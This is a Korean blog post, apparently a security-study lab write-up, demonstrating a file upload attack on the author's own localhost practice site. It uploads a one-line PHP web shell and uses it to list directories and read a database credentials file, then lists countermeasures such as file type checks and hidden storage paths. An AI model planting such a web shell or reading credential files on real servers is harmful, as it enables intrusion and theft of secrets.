안녕하세요 전 포스팅에 만든 사이트의 취약점 이용해서 공격 시나리오을 짜보겠습니다.
간단히 말씀드리자면 제가 나쁜 놈이라고 빙의하고 공격을 해보는 겁니다!
시작하겠습니다.
________________________________________________________________________________________________
이 게시판 사이트에 php문이나 코드 문 파일이 올라가지는 것을 확인했습니다. 그리고 다운로드 링크에 경로가 표시가 되어 있습니다. 이 취약점을 통해 File Upload 공격이 통하는 것을 찾았습니다.
-File Upload 공격
파일에 php문이나 스크립트 문을 짜서 서버에 올린 다음에 다운로드 경로 통해 그 코드를 실행하는 공격입니다.
실행되는 위치가 서버 내에서 일어 나서 컴퓨터의 정보를 탈취할 수 있습니다.
취약점 발견된 사이트: 제 실습 페이지
***공격 과정
php문-
<?php
echo "Script Running!";
?>
게시판 작성 후 다운로드 링크 확인
http://localhost/uploads/test2.php
링크 따라 들어가 보면 php문이 실행이 됩니다.
그리고 한 줄 웹 쉘을 작성해 서버에 명령을 내릴 수 있습니다.
<?php
echo system($_GET['cmd']);
?>
http://localhost/uploads/test3.php?cmd=ls
그리고 ls+../ 통해 상위 파일을 확인할 수 있었습니다.
http://localhost/uploads/test3.php?cmd=ls+../
그리고 cat+../DB INFO.php 로 내용을 볼 수 있습니다.
http://localhost/uploads/test3.php?cmd=cat+../DB_INFO.php
이뿐만 아니라 다른 페이지의 코드를 볼 수 있고 또 다른 취약점을 찾을 수 있었습니다.
________________________________________________________________________________________________
***대응 방법
DB에 저장을 하게 합니다. DB에 저장을 하면 파일을 실행할 수 없으니깐요
file의 형식, 크기를 제한합니다.
파일 형식 검증합니다. ex) MIME 타입 검사
파일 저장 위치를 안 보이게 파일을 다운할 때 필요한 php문을 따로 만듭니다.
'보안지식 > File Upload' 카테고리의 다른 글
file download 취약점 (0) | 2023.06.15 |
---|---|
file upload 공격 - 실습 페이지 만들기 (0) | 2023.06.04 |
File Upload - 실습 2번 풀이 (0) | 2023.06.03 |
File Upload - 실습 1번 풀이 (0) | 2023.06.02 |
파일 업로드 취약점(File upload) (0) | 2023.06.01 |